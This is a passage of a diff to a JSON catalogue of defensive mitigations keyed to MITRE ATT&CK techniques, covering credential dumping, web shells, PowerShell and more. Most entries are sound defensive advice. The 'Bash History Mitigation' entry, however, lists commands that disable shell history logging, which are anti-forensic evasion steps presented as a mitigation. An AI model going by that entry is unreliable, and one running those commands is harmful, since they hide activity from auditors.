administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.[[CiteRef::Microsoft Securing Privileged Access]]. Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.[[CiteRef::TechNet Credential Theft]][[CiteRef::TechNet Least Privilege]]", + "meta": { + "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf" + }, + "value": "Valid Accounts Mitigation" + }, + { + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to [[Technique/T1078|Valid Accounts]]", + "meta": { + "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c" + }, + "value": "Brute Force Mitigation" + }, + { + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "meta": { + "uuid": "1b727aaa-8274-425a-9a68-fd51d05434d8" + }, + "value": "Gatekeeper Bypass Mitigation" + }, + { + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "meta": { + "uuid": "24e1d561-0e21-4933-8276-62256e430fcd" + }, + "value": "Bash History Mitigation" + }, + { + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332" + }, + "value": "Binary Padding Mitigation" + }, + { + "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf" + }, + "value": "Clipboard Data Mitigation" + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", + "meta": { + "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33" + }, + "value": "Data Compressed Mitigation" + }, + { + "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [[Technique/T1078|Valid Accounts]] if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.[[CiteRef::Microsoft LSA]]\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements.[[CiteRef::TechNet Credential Guard]] It also does not protect against all forms of credential dumping.[[CiteRef::GitHub SHB Credential Guard]]", + "meta": { + "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a" + }, + "value": "Credential Dumping Mitigation" + }, + { + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7" + }, + "value": "Email Collection Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514" + }, + "value": "Fallback Channels Mitigation" + }, + { + "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [[Technique/T1078|Valid Accounts]].", + "meta": { + "uuid": "da8a87d2-946d-4c34-9a30-709058b98996" + }, + "value": "Input Capture Mitigation" + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.", + "meta": { + "uuid": "979187f5-da2a-4c9d-b57e-37f23da828ec" + }, + "value": "Cron Job Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "da987565-27b6-4b31-bbcd-74b909847116" + }, + "value": "Multiband Communication Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8" + }, + "value": "Connection Proxy Mitigation" + }, + { + "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55" + }, + "value": "Screen Capture Mitigation" + }, + { + "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system.[[CiteRef::NSA MS AppLocker]][[CiteRef::TechNet Trusted Publishers]][[CiteRef::Securelist Digital Certificates]]", + "meta": { + "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08" + }, + "value": "Code Signing Mitigation" + }, + { + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d" + }, + "value": "Video Capture Mitigation" + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b" + }, + "value": "Data Encrypted Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b" + }, + "value": "Data Encoding Mitigation" + }, + { + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d" + }, + "value": "File Deletion Mitigation" + }, + { + "description": "Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", + "meta": { + "uuid": "cb7ac4a3-9a66-4fb5-b48e-4babb57609ee" + }, + "value": "Dylib Hijacking Mitigation" + }, + { + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. \n\nIdentify or block potentially malicious software that may contain DLL injection functionality by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7" + }, + "value": "DLL Injection Mitigation" + }, + { + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", + "meta": { + "uuid": "65eeaa91-556b-4ff7-88bc-9b387f8bbe1a" + }, + "value": "Launch Daemon Mitigation" }, { "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", @@ -1143,6 +835,139 @@ }, "value": "Data Obfuscation Mitigation" }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b" + }, + "value": "Process Discovery Mitigation" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd" + }, + "value": "Data Staged Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec" + }, + "value": "Multilayer Encryption Mitigation" + }, + { + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64" + }, + "value": "Service Execution Mitigation" + }, + { + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology.[[CiteRef::TCG Trusted Platform Module]]", + "meta": { + "uuid": "25e53928-6f33-49b7-baee-8180578286f6" + }, + "value": "System Firmware Mitigation" + }, + { + "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43" + }, + "value": "Process Hollowing Mitigation" + }, + { + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "meta": { + "uuid": "78478093-6ff7-48c8-8220-d56843543cd4" + }, + "value": "Hidden Users Mitigation" + }, + { + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "meta": { + "uuid": "374ad611-a77f-46db-9487-36ea2705c1d1" + }, + "value": "Hidden Window Mitigation" + }, + { + "description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]].", + "meta": { + "uuid": "78bd8956-5bc8-4532-ba98-ddb2764ae22b" + }, + "value": "Login Item Mitigation" + }, + { + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them[[CiteRef::Microsoft CreateProcess]]. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate[[CiteRef::MSDN DLL Security]]. Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations[[CiteRef::Kanthak Sentinel]]. \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies,[[CiteRef::Corio 2008]] that are capable of auditing and/or blocking unknown executables.", + "meta": { + "uuid": "e0703d4f-3972-424a-8277-84004817e024" + }, + "value": "Path Interception Mitigation" + }, + { + "description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for [[Technique/T1155|AppleScript]].", + "meta": { + "uuid": "88b94229-62da-418f-8330-edf8fa26013e" + }, + "value": "Input Prompt Mitigation" + }, + { + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", + "meta": { + "uuid": "e76834ef-0a68-4d78-818e-9f5d9482e011" + }, + "value": "Startup Items Mitigation" + }, + { + "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [[Technique/T1078|Valid Accounts]].", + "meta": { + "uuid": "29e04ce7-731f-4cc6-ae47-6059ecaa1592" + }, + "value": "Private Keys Mitigation" + }, + { + "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating [[Credential Access]] techniques and limiting account access and permissions of [[Technique/T1078|Valid Accounts]].\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", + "meta": { + "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2" + }, + "value": "Logon Scripts Mitigation" + }, + { + "description": "Prevent plist files from being modified by users by making them read-only.", + "meta": { + "uuid": "7ebfc9c0-e59a-4764-ae7d-baef9c3cd299" + }, + "value": "Plist Modification Mitigation" + }, + { + "description": "Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc" + }, + "value": "Modify Registry Mitigation" + }, + { + "description": "Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612" + }, + "value": "Shortcut Modification Mitigation" + }, + { + "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab" + }, + "value": "New Service Mitigation" + }, + { + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4" + }, + "value": "Network Sniffing Mitigation" + }, { "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { @@ -1151,11 +976,186 @@ "value": "Software Packing Mitigation" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae" + "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b" }, - "value": "Security Software Discovery Mitigation" + "value": "Query Registry Mitigation" + }, + { + "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent [[Credential Access]] techniques that may allow an adversary to acquire [[Technique/T1078|Valid Accounts]] that can be used by existing services.", + "meta": { + "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173" + }, + "value": "Remote Services Mitigation" + }, + { + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824" + }, + "value": "Scheduled Transfer Mitigation" + }, + { + "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.[[CiteRef::Powersploit]]\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd" + }, + "value": "Scheduled Task Mitigation" + }, + { + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", + "meta": { + "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5" + }, + "value": "Shared Webroot Mitigation" + }, + { + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "meta": { + "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97" + }, + "value": "Web Service Mitigation" + }, + { + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [[Technique/T1068|Exploitation of Vulnerability]] to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through [[Credential Access]] and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[[CiteRef::US-CERT Alert TA15-314A Web Shells]]", + "meta": { + "uuid": "bcc91b8c-f104-4710-964e-1d5409666736" + }, + "value": "Web Shell Mitigation" + }, + { + "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", + "meta": { + "uuid": "be8a4233-475d-4980-9825-1bb375775637" + }, + "value": "Rc.common Mitigation" + }, + { + "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.", + "meta": { + "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a" + }, + "value": "Regsvcs/Regasm Mitigation" + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", + "meta": { + "uuid": "f94033d0-906f-4ecf-9313-d498582868c6" + }, + "value": "Rundll32 Mitigation" + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", + "meta": { + "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432" + }, + "value": "Regsvr32 Mitigation" + }, + { + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.", + "meta": { + "uuid": "231540df-ee71-46ca-a686-8800157b99bf" + }, + "value": "AppleScript Mitigation" + }, + { + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.[[CiteRef::TCG Trusted Platform Module]][[CiteRef::TechNet Secure Boot Process]]", + "meta": { + "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751" + }, + "value": "Bootkit Mitigation" + }, + { + "description": "Prevent users from changing the HISTCONTROL environment variable[[CiteRef::Securing bash history]]. Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.", + "meta": { + "uuid": "d684a482-645d-4ad9-8a3e-78ca61e188d6" + }, + "value": "HISTCONTROL Mitigation" + }, + { + "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", + "meta": { + "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739" + }, + "value": "Hypervisor Mitigation" + }, + { + "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "meta": { + "uuid": "ec418d1b-4963-439f-b055-f914737ef362" + }, + "value": "InstallUtil Mitigation" + }, + { + "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", + "meta": { + "uuid": "2f3dc2b6-70f1-4a91-b77b-8de66b332b70" + }, + "value": "Keychain Mitigation" + }, + { + "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", + "meta": { + "uuid": "fc01bee2-a300-4eec-beb9-2291cc464578" + }, + "value": "Launchctl Mitigation" + }, + { + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "meta": { + "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae" + }, + "value": "Masquerading Mitigation" + }, + { + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.[[CiteRef::Netspi PowerShell Execution Policy Bypass]] Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "meta": { + "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2" + }, + "value": "PowerShell Mitigation" + }, + { + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like 